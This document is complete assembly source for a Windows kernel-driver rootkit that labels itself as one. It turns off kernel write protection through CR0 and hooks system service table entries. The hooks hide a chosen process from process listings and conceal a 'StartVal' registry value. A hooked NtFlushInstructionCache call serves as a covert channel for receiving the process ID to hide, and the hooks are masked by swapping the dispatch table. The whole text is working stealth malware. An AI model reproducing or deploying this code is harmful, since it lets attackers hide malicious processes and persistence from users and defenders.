.386 .model flat, stdcall option casemap:none GetSSDT PROTO :DWORD MakeWritable PROTO :DWORD HookSSDTEntry PROTO :DWORD, :DWORD, :DWORD, :DWORD, :DWORD include w2k\ntstatus.inc include w2k\ntddk.inc include w2k\ntoskrnl.inc includelib ntoskrnl.lib include C:\masm32\macros\Strings.mac SSDT_HOOK struct PtrToOriginal dd ? PtrToSSDTEntry dd ? dwSpecialVal dd ? SSDT_HOOK EndS .const C_SU_STARTUPVAL dw "S","t","a","r","t","V","a","l", 0 .data? G_HIDE_PID dd ? g_tHook_NtQSI SSDT_HOOK <> g_tHook_NtEVK SSDT_HOOK <> g_tHook_NtFIC SSDT_HOOK <> .code ;============================================================================== ;== FUNCTION HOOK HANDLERS =================================================== ;============================================================================== Hook_ToModify proc dwRet:DWORD, lpBuffer:DWORD, dwCheckA:DWORD, dwCheckASB:DWORD .IF dwRet == 0 .IF lpBuffer != 0 mov eax, dwCheckA .IF EAX == dwCheckASB mov eax, 1 jmp htm_ok .ENDIF .ENDIF .ENDIF xor eax, eax htm_ok: Ret Hook_ToModify EndP Hook_NtQuerySystemInformation proc InfoType:DWORD, lpBuffer:DWORD, dwBufferSize:DWORD, pReqSize:DWORD local dwRetVal: DWORD push pReqSize push dwBufferSize push lpBuffer push InfoType call g_tHook_NtQSI.PtrToOriginal mov dwRetVal, eax ;:: MODIFY RETURNED DATA ::::::::::::::::::::::::::::::::::::::::::::::::: invoke Hook_ToModify, eax, lpBuffer, InfoType, 5 .IF EAX pushad mov esi, lpBuffer mov edi, esi ; esi = first entry add edi, dword ptr[edi] ; edi = next entry .WHILE dword ptr[EDI] mov eax, dword ptr [EDI+68] .IF EAX == G_HIDE_PID .IF dword ptr[EDI] mov eax, dword ptr[edi] ; eax = delta to hide add dword ptr[esi], eax ; previous delta + delta to hide .ELSE mov dword ptr[esi], 0 ; no next entry, null delta .ENDIF jmp process_ok .ENDIF add esi, dword ptr[esi] add edi, dword ptr[edi] .ENDW process_ok: popad .ENDIF mov eax, dwRetVal Ret Hook_NtQuerySystemInformation EndP Hook_NtEnumerateValueKey proc hKeyHandle:DWORD, dwIndex:DWORD, dwKeyValInfoClass:DWORD, lpBuffer:DWORD, dwLen:DWORD, dwOutResLen:DWORD local dwRetVal: DWORD push dwOutResLen push dwLen push lpBuffer push dwKeyValInfoClass push dwIndex push hKeyHandle call g_tHook_NtEVK.PtrToOriginal mov dwRetVal, eax invoke Hook_ToModify, eax, lpBuffer, dwKeyValInfoClass, 1 .IF EAX pushad mov esi, lpBuffer .IF dword ptr[esi+16] == sizeof C_SU_STARTUPVAL-2 mov eax, esi add eax, 20 invoke RtlCompareMemory, addr C_SU_STARTUPVAL, eax, sizeof C_SU_STARTUPVAL-2 .IF EAX == sizeof C_SU_STARTUPVAL-2 mov eax, dword ptr[esi+12] mov dword ptr[esi+12], 0 add esi, dword ptr[esi+8] invoke RtlZeroMemory, esi, eax mov dwRetVal, STATUS_INVALID_PARAMETER .ENDIF .ENDIF popad .ENDIF mov eax, dwRetVal Ret Hook_NtEnumerateValueKey EndP Comunicate_Hook_NtFlushInstructionCache proc ddA:DWORD, ddB:DWORD, ddC:DWORD .IF ddA == "RKIT" ; codename "RKIT" .IF ddB == "PID:" ; PID command mov eax, ddC mov G_HIDE_PID, eax ; save PID to hide .ENDIF mov eax, 0 .ELSE push ddC push ddB push ddA call g_tHook_NtFIC.PtrToOriginal .ENDIF Ret Comunicate_Hook_NtFlushInstructionCache EndP ;============================================================================== ;== ROOTKIT BASIC FUNCTIONS =================================================== ;============================================================================== GetSSDT proc dwDispatchTable:DWORD mov eax, KeServiceDescriptorTable mov eax, dword ptr[eax] ; eax = pointer to SSDT .IF dwDispatchTable mov eax, dword ptr[eax] ; eax = pointer to Dispatchers .ENDIF Ret GetSSDT EndP HideSSDTTrick proc uses esi edi lpSSDT:DWORD, lpNewSSDT:DWORD local dwDTSize: DWORD mov esi, lpSSDT .IF lpNewSSDT == 0 mov eax, dword ptr[esi+8] ; eax = DispatchCount shl eax, 2 ; eax = size of DispatchTable mov dwDTSize, eax invoke ExAllocatePool, NonPagedPool, eax .IF EAX mov edi, eax invoke RtlMoveMemory, edi, dword ptr[esi], dwDTSize mov eax, edi .ENDIF .ELSE mov edi, lpNewSSDT lock xchg dword ptr[esi], edi ; [esi] = DispatchBase, edi = NewDispatchBase .ENDIF Ret HideSSDTTrick EndP HookSSDTEntry proc uses esi edi lpSSDT:DWORD, lpZwFunction:DWORD, lpZwHookHandler:DWORD, lpTSSDT_HOOK:DWORD, dwHook:DWORD mov eax, lpTSSDT_HOOK assume eax: ptr SSDT_HOOK .IF dwHook mov edi, lpZwFunction ; edi = ptr to jmp dword ptr[ptr_function] mov edi, dword ptr[edi+2] ; edi = ptr ptr_function mov edi, dword ptr[edi] ; edi = ptr_function mov edi, dword ptr[edi+1] ; edi = NtAPI index shl edi, 2 ; edi = relative ptr to NtAPI add edi, lpSSDT ; edi = ptr to dispatcher entry mov [eax].PtrToSSDTEntry, edi ; backup ssdt entry pointer mov esi, lpZwHookHandler lock xchg esi, dword ptr[edi] ; XCHANGE SSDT POINTER TO HOOK HANDLER mov [eax].PtrToOriginal, esi ; backup original ssdt ptr .ELSE mov edi, [eax].PtrToSSDTEntry mov esi, [eax].PtrToOriginal lock xchg esi, dword ptr[edi] .ENDIF assume eax: nothing Ret HookSSDTEntry EndP HookSSDT proc uses esi edi dwHook:DWORD invoke GetSSDT, 0 mov esi, eax ; esi = ptr to SSDT invoke HideSSDTTrick, esi, 0 mov edi, eax ; edi = ptr to original SSDT push esi mov esi, dword ptr[esi] ; esi = ptr to DispatchTable invoke HookSSDTEntry, esi, addr ZwQuerySystemInformation, addr Hook_NtQuerySystemInformation, addr g_tHook_NtQSI, dwHook invoke HookSSDTEntry, esi, addr ZwEnumerateValueKey, addr Hook_NtEnumerateValueKey, addr g_tHook_NtEVK, dwHook invoke HookSSDTEntry, esi, addr ZwFlushInstructionCache, addr Comunicate_Hook_NtFlushInstructionCache, addr g_tHook_NtFIC, dwHook pop esi invoke HideSSDTTrick, esi, edi Ret HookSSDT EndP MakeWritable proc uses eax dwWrite:DWORD mov eax, Cr0 .IF dwWrite and eax, 0fffeffffh .ELSE or eax, 10000h .ENDIF mov Cr0, eax Ret MakeWritable EndP ;============================================================================== ;== DRIVER MAIN FUNCS =================================================== ;============================================================================== DriverEntry proc uses esi edi pDriverObject:PDRIVER_OBJECT, pusRegistryPath:PUNICODE_STRING ;:: SETUP :::::::::::::::::::::::::::::::::::::::::::::: mov eax, pDriverObject mov (DRIVER_OBJECT ptr [eax]).DriverUnload, offset DriverUnload ;:: START ROOTKIT ACTIVITY :::::::::::::::::::::::::::::::::::::::::::::: mov G_HIDE_PID, 0 invoke MakeWritable, TRUE invoke HookSSDT, TRUE mov eax, STATUS_SUCCESS ret DriverEntry endp DriverUnload proc pDriverObject:PDRIVER_OBJECT invoke HookSSDT, FALSE invoke MakeWritable, FALSE ret DriverUnload endp end DriverEntry